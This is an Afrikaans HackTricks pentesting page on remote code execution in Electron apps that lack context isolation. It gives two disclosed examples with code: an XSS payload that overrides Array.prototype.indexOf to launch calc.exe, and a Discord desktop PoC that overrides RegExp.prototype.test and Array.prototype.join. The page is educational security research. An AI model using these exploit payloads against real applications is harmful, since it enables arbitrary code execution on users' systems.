hacktricks/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

83 lines
3.8 KiB
Markdown

# Electron contextIsolation RCE via preload code
{{#include ../../../banners/hacktricks-training.md}}
## Voorbeeld 1
Voorbeeld van [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
Hierdie kode open http(s) skakels met die standaardblaaier:
![](<../../../images/image (768).png>)
Iets soos `file:///C:/Windows/systemd32/calc.exe` kan gebruik word om 'n rekenaarprogram uit te voer, die `SAFE_PROTOCOLS.indexOf` keer dit egter.
Daarom kan 'n aanvaller hierdie JS-kode via die XSS of arbitrêre bladsy-navigasie inspuit:
```html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
```
Aangesien die oproep na `SAFE_PROTOCOLS.indexOf` altyd 1337 sal teruggee, kan die aanvaller die beskerming omseil en die kalkuleerder uitvoer. Finale uitbuiting:
```html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Kontroleer die oorspronklike skywe vir ander maniere om programme uit te voer sonder om 'n prompt te vra vir toestemmings.
Blykbaar is 'n ander manier om kode te laai en uit te voer om iets soos `file://127.0.0.1/electron/rce.jar` te benader.
## Voorbeeld 2: Discord App RCE
Voorbeeld van [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
Toe ek die preload-skripte nagegaan het, het ek gevind dat Discord die funksie blootstel, wat toelaat dat sommige toegelate modules via `DiscordNative.nativeModules.requireModule('MODULE-NAME')` in die webblad aangeroep kan word.\
Hier kon ek nie modules gebruik wat direk vir RCE gebruik kan word nie, soos die _child_process_ module, maar ek **het 'n kode gevind waar RCE bereik kan word deur die ingeboude JavaScript-metodes te oorskry** en in te gryp in die uitvoering van die blootgestelde module.
Die volgende is die PoC. Ek kon bevestig dat die **calc** toepassing **verskyn** wanneer ek die **`getGPUDriverVersions` funksie** aanroep wat gedefinieer is in die module genoem "_discord_utils_" van devTools, terwyl ek **die `RegExp.prototype.test` en `Array.prototype.join` oorskry**.
```javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
```
Die `getGPUDriverVersions` funksie probeer om die program uit te voer deur die "_execa_" biblioteek te gebruik, soos die volgende:
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
```
Gewoonlik probeer die _execa_ om "_nvidia-smi.exe_" uit te voer, wat in die `nvidiaSmiPath` veranderlike gespesifiseer is, egter, as gevolg van die oorgeskryfde `RegExp.prototype.test` en `Array.prototype.join`, **word die argument vervang met "**_**calc**_**" in die _execa**_**'s interne verwerking**.
Specifiek word die argument vervang deur die volgende twee dele te verander.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
{{#include ../../../banners/hacktricks-training.md}}